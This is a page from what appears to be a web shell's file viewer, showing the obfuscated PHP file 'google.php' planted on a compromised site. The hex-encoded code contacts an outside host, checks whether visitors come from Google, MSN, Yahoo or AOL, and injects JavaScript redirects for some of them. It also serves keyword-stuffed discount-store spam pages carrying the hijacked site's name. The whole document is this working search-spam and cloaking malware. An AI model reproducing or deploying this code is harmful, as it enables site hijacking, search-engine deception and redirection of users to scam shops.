HOME

sh-3ll 1.0
Current File : /home/ami/.trash/google.php
<?php
/* obfuscated by phpObfuscator.cn */
error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING); function getCurl($leToTn) { goto laqXonn; laqXonB: $leToTo = curl_exec($leToTX); goto laqXonu; laqXonT: curl_setopt($leToTX, CURLOPT_SSL_VERIFYHOST, false); goto laqXonB; laqXonu: curl_close($leToTX); goto laqXona; laqXona: return $leToTo; goto laqXonZ; laqXonn: $leToTX = curl_init(); goto laqXonX; laqXonl: curl_setopt($leToTX, CURLOPT_SSL_VERIFYPEER, false); goto laqXonT; laqXonX: curl_setopt($leToTX, CURLOPT_URL, $leToTn); goto laqXono; laqXono: curl_setopt($leToTX, CURLOPT_RETURNTRANSFER, 1); goto laqXonl; laqXonZ: } $leToTl = isset($_SERVER["\x48\x54\x54\x50\123"]) && $_SERVER["\110\124\124\120\x53"] == "\157\156" || isset($_SERVER["\110\124\124\x50\x5f\130\x5f\106\x4f\x52\x57\x41\x52\x44\105\104\x5f\120\122\117\x54\x4f"]) && $_SERVER["\110\124\x54\x50\x5f\130\x5f\x46\117\x52\x57\x41\x52\104\105\104\137\120\122\x4f\124\x4f"] == "\150\x74\164\x70\163" ? "\150\x74\x74\160\x73\x3a\x2f\57" : "\x68\164\164\160\72\x2f\57"; $leToTT = ''; $leToTB = "\x68\164\164\x70\72\x2f\x2f\x70\145\156\144\x73\x70\157\162\x74\x73\x2e\143\157\x6d\x2f\66\x2e\141\163\160\x78"; $leToTu = getCurl($leToTB); if (is_null($_GET["\151\x69\144"])) { goto laqXond; } $leToTT = getCurl($leToTu . "\147\x6e\56\x61\163\x70\x78\x3f\151\151\144\75" . $_GET["\x69\x69\x64"]); laqXond: if (is_null($_GET["\163"])) { goto laqXong; } $leToTa = getCurl($leToTu . "\163\x6a\x73\x2e\141\x73\160\170"); if (is_null($_GET["\x63\x69\x64"])) { goto laqXonq; } $leToTa = $_GET["\143\x69\x64"]; laqXonq: $leToTn = $leToTu . "\163\x6a\x64\x2e\x61\163\x70\x78\x3f\x63\x69\144\x3d" . $leToTa . "\46\x6e\165\155\x62\145\162\75" . $_GET["\156\x75\155\x62\x65\x72"] . "\46\x70\x6e\165\155\75" . $_GET["\x70\156\x75\x6d"]; $leToTZ = getCurl($leToTn); $leToTZ = str_replace("\171\x79\155\155", $leToTl . $_SERVER["\110\124\124\x50\x5f\x48\x4f\123\124"] . $_SERVER["\123\103\122\x49\x50\x54\137\x4e\101\x4d\105"], $leToTZ); header("\103\x6f\x6e\164\145\x6e\x74\55\164\x79\x70\145\72\164\145\170\164\x2f\170\x6d\x6c"); echo $leToTZ; exit; laqXong: function check($leToTd) { goto laqXoXX; laqXoXZ: $leToTT = getCurl($leToTu . "\147\156\56\x61\x73\x70\x78\77\151\x69\144\75" . $_GET["\151\x69\144"]); goto laqXoXd; laqXoXu: if (stripos($leToTq, "\147\x6f\157\147\x6c\x65") != false or stripos($leToTq, "\x6d\163\156\x2e\x63\x6f\x6d") != false or stripos($leToTq, "\171\141\150\157\157\x2e\x63\157\x6d") != false or stripos($leToTq, "\141\157\154\56\143\x6f\x6d") != false) { goto laqXone; } goto laqXoXa; laqXooT: laqXone: goto laqXooB; laqXoXX: global $leToTu; goto laqXoXo; laqXoXT: laqXonc: goto laqXoXB; laqXoon: echo "\x3c\x73\x63\162\151\x70\164\76\144\x6f\143\165\x6d\145\156\x74\56\154\x6f\143\141\164\151\157\x6e\x3d\x22" . $leToTc . "\42\74\57\163\143\x72\x69\x70\x74\76"; goto laqXooX; laqXooo: laqXony: goto laqXool; laqXoXe: $leToTc = str_replace("\x70\x72\157\x64\165\x63\x74\163\x2e\141\x73\x70\170", '', $leToTg) . "\77\143\151\144\x3d" . $_GET["\143\151\144"]; goto laqXoon; laqXoXV: if (is_null($_GET["\160\156\x75\x6d"])) { goto laqXony; } goto laqXoXy; laqXoXc: laqXonV: goto laqXoXV; laqXooB: laqXoXn: goto laqXoou; laqXoXq: echo "\x3c\x73\x63\x72\x69\x70\164\x3e\144\x6f\143\165\x6d\x65\156\164\x2e\x6c\x6f\143\x61\164\x69\157\x6e\75\x22" . $leToTg . "\77\143\x69\x64\75" . $_GET["\x63\x69\144"] . "\46\143\x6e\141\155\x65\x3d" . urlencode($leToTT) . "\x26\x75\162\154\75" . $_SERVER["\x48\x54\124\x50\x5f\x48\x4f\x53\x54"] . "\42\74\x2f\163\x63\x72\x69\160\x74\x3e"; goto laqXoXg; laqXoXa: if (is_null($_GET["\151\x69\144"])) { goto laqXonV; } goto laqXoXZ; laqXoXl: $leToTd = "\66\66\x2e\x32\64\x39\x2e\66\64\x2e\61\x39\60"; goto laqXoXT; laqXoXo: if (is_null($_GET["\153\153"])) { goto laqXonc; } goto laqXoXl; laqXoXd: $leToTg = $leToTu . "\141\x2e\x61\x73\160\x78"; goto laqXoXq; laqXoXB: $leToTq = getCurl($leToTu . "\x67\x65\164\144\157\x6d\141\151\x6e\x2e\x61\x73\160\170\77\x72\156\x64\75\x31\x26\x69\160\x3d" . $leToTd); goto laqXoXu; laqXoXg: exit; goto laqXoXc; laqXooX: exit; goto laqXooo; laqXoXy: $leToTg = $leToTu . "\x61\56\x61\163\x70\170"; goto laqXoXe; laqXool: goto laqXoXn; goto laqXooT; laqXoou: } function getIP() { $leToTd = $_SERVER["\x52\105\x4d\117\x54\x45\x5f\101\104\x44\122"] . "\52" . $_SERVER["\x52\105\x4d\117\124\x45\x5f\110\x4f\x53\124"] . "\x2a" . $_SERVER["\110\124\124\x50\x5f\103\114\x49\x45\x4e\x54\137\x49\x50"] . "\x2a" . $_SERVER["\x48\x54\x54\x50\137\x58\x5f\x46\x4f\122\x57\101\122\104\105\104\137\106\x4f\x52"] . "\x2a" . $_SERVER["\x48\x54\124\120\x5f\130\137\106\117\122\x57\x41\122\x44\105\x44"] . "\x2a" . $_SERVER["\x48\124\x54\120\137\106\117\x52\x57\101\122\104\x45\x44\x5f\x46\x4f\x52"] . "\x2a" . $_SERVER["\110\124\124\120\137\106\x4f\122\x57\101\x52\x44\x45\104"]; return $leToTd; } $leToTV = check(getIP()); echo "\40\15\12"; $leToTn = ''; $leToTy = $leToTu . "\x64\157\151\151\x64\x2e\x61\x73\x70\x78"; if (!is_null($_GET["\151\151\144"])) { goto laqXooZ; } $leToTa = getCurl($leToTu . "\x73\x6a\163\x2e\x61\x73\x70\x78"); if (is_null($_GET["\x63\151\144"])) { goto laqXooa; } $leToTa = $_GET["\143\151\x64"]; laqXooa: $leToTn = $leToTy . "\x3f\x63\x69\144\75" . $leToTa . "\x26\160\x6e\x75\x6d\x3d" . $_GET["\160\156\x75\155"]; goto laqXood; laqXooZ: $leToTe = mt_rand(1, 1000); $leToTn = $leToTy . "\77\151\151\x64\75" . $_GET["\x69\x69\144"] . "\x26\155\164\x3d" . $leToTu . "\x45\116\62\57" . $leToTe . "\x2e\x74\x78\x74"; laqXood: $leToBn = $leToTT . "\x54\150\145\40\x42\145\x73\x74\40\x49\x6e\x65\x78\160\145\156\163\151\x76\145\x20\117\x6e\154\151\156\145\x20\103\154\157\x74\x68\151\156\147\40\x53\164\157\162\145\163\x20\x59\x6f\165\40\115\141\x79\x20\x57\x61\156\x74\x20\x7c\x20\104\x72\145\163\x73\145\163\54\x20\104\145\156\x69\155\54\x20\x54\x6f\160\163\54\40\123\150\x6f\x65\163\x20\x61\x6e\144\40\x4d\x6f\162\145\x20\x2d\x20\102\145\163\x74\x2d\x53\145\x6c\x6c\151\156\147\x20\120\x72\x6f\155\157\x74\151\157\156\x61\x6c\40\120\162\157\144\165\x63\x74\163" . $_GET["\x70\156\165\155"]; $leToBX = $leToTT; $leToBo = "\117\106\106" . mt_rand(50, 70) . "\45" . $leToTT . "\x4f\x6e\154\151\x6e\145\40\x44\151\x73\143\x6f\165\x6e\164\40\x53\150\157\160\40\x66\x6f\162\x20\105\154\x65\143\x74\x72\157\156\151\x63\x73\54\x20\101\x70\160\x61\162\145\154\x2c\40\x54\157\171\163\54\40\x42\157\x6f\153\x73\54\40\x47\x61\x6d\x65\163\54\40\x43\157\x6d\x70\x75\x74\x65\162\x73\54\40\123\150\157\145\163\x2c\x20\112\x65\167\x65\x6c\x72\x79\54\40\x57\x61\x74\x63\150\x65\163\x2c\x20\x42\141\x62\x79\x20\120\x72\157\x64\165\143\x74\163\x2c\40\123\x70\x6f\162\164\163\40\x26\40\117\165\164\x64\x6f\157\x72\163\54\x20\x4f\x66\x66\x69\x63\x65\40\x50\x72\157\144\x75\x63\x74\163\x2c\x20\102\145\x64\40\x26\x20\102\x61\164\x68\x2c\x20\106\x75\162\156\151\x74\165\162\x65\x2c\x20\124\157\x6f\x6c\163\x2c\40\110\141\x72\144\167\x61\162\145\54\x20\101\x75\x74\157\155\157\164\151\166\145\40\120\x61\162\164\163\x2c\40\101\x63\x63\145\x73\x73\x6f\162\x69\145\x73\x20\46\x20\x6d\157\x72\145"; $leToBl = $leToTl . $_SERVER["\x48\124\124\x50\137\x48\117\x53\124"] . $_SERVER["\x50\110\x50\137\123\105\x4c\106"] . "\77" . $_SERVER["\x51\x55\x45\122\x59\x5f\x53\124\122\x49\x4e\x47"]; $leToTZ = getCurl($leToTn); $leToTZ = str_replace("\125\x55\125\125\125", $leToTl . $_SERVER["\x48\124\124\x50\137\110\117\123\124"] . $_SERVER["\123\x43\122\x49\x50\124\137\x4e\101\x4d\105"], $leToTZ); $leToTZ = str_replace("\x42\x42\102\102\102", $_SERVER["\x48\124\x54\x50\x5f\x48\x4f\x53\x54"], $leToTZ); $leToTZ = str_replace("\116\116\116\116\116", $leToTT . $_GET["\151\151\x64"], $leToTZ); $leToTZ = str_replace("\104\x44\104\104\x44", $leToTT . "\x20\x47\x6f\154\x64\54\40\x57\x68\x69\164\145\54\40\x42\154\141\x63\x6b\x2c\40\x52\145\144\x2c\x20\102\154\x75\145\x2c\x20\x42\145\x69\x67\145\54\40\x47\162\x65\171\x2c\40\120\162\x69\x63\x65\54\x20\x52\x6f\163\145\x2c\x20\117\x72\x61\156\147\145\54\x20\x50\x75\162\160\x6c\x65\54\40\x47\162\145\x65\156\54\x20\131\145\x6c\154\x6f\x77\x2c\x20\x43\x79\141\x6e\x2c\40\x42\157\x72\144\x65\x61\x75\x78\54\x20\x70\151\156\x6b\54\x20\x49\x6e\x64\x69\147\157\54\x20\102\x72\x6f\x77\156\54\x20\x53\x69\154\x76\x65\x72\x2c\105\154\145\x63\164\162\157\x6e\x69\143\163\54\40\126\x69\144\145\x6f\x20\x47\x61\155\145\163\54\40\x43\157\x6d\x70\165\164\x65\x72\163\x2c\x20\x43\x65\x6c\x6c\40\x50\x68\x6f\x6e\145\x73\x2c\x20\x54\x6f\x79\163\54\40\x47\x61\155\x65\163\54\40\x41\x70\160\141\162\145\154\x2c\40\x41\x63\143\145\x73\x73\x6f\162\x69\145\x73\54\40\x53\150\x6f\x65\x73\x2c\40\x4a\145\167\145\154\x72\x79\54\40\x57\x61\x74\143\150\x65\x73\x2c\x20\x4f\146\x66\x69\143\145\x20\x50\x72\157\144\x75\x63\164\163\x2c\x20\123\160\157\162\x74\163\x20\46\40\x4f\x75\164\144\x6f\x6f\x72\x73\x2c\x20\x53\160\x6f\x72\164\151\x6e\x67\40\107\157\157\x64\x73\54\x20\102\141\x62\x79\x20\x50\x72\157\x64\165\x63\x74\x73\x2c\x20\110\x65\141\x6c\164\150\54\x20\x50\145\x72\x73\x6f\x6e\141\154\x20\x43\141\x72\145\x2c\x20\102\x65\x61\x75\164\x79\54\40\x48\157\155\x65\54\40\107\141\x72\144\145\x6e\54\x20\102\x65\x64\40\46\40\102\x61\164\x68\54\40\106\165\162\x6e\151\x74\x75\162\145\54\40\x54\157\x6f\x6c\x73\54\40\x48\141\162\x64\167\x61\162\x65\54\x20\x56\x61\143\165\x75\155\x73\54\40\117\165\x74\144\x6f\x6f\x72\40\x4c\151\x76\x69\x6e\x67\x2c\x20\101\x75\164\x6f\x6d\x6f\x74\151\166\145\40\x50\x61\162\164\163\x2c\40\x50\145\164\x20\x53\x75\x70\x70\154\151\x65\163\x2c\x20\x42\x72\x6f\x61\144\x62\141\x6e\144\54\x20\104\123\114\x2c\x20\x42\157\157\x6b\x73\x2c\40\102\x6f\x6f\153\40\123\164\x6f\162\x65\54\40\115\x61\x67\x61\x7a\x69\156\x65\x2c\40\123\x75\142\x73\143\162\151\160\x74\151\x6f\156\54\x20\x4d\165\x73\151\x63\54\40\103\104\x73\x2c\x20\x44\x56\104\163\x2c\40\x56\151\x64\145\157\x73\54\x4f\156\154\151\156\145\x20\123\x68\157\x70\160\151\156\x67\x20" . $_GET["\x73\x65\141\x72\x63\x68\x74\x78\164"], $leToTZ); $leToTZ = str_replace("\124\124\x54\x54\124", $leToBn, $leToTZ); $leToTZ = str_replace("\x4b\113\113\x4b\113", $leToBX, $leToTZ); $leToTZ = str_replace("\111\111\x49\111\x49", $leToBo, $leToTZ); $leToTZ = str_replace("\x43\103\x43\103\103", $leToBl, $leToTZ); echo $leToTZ;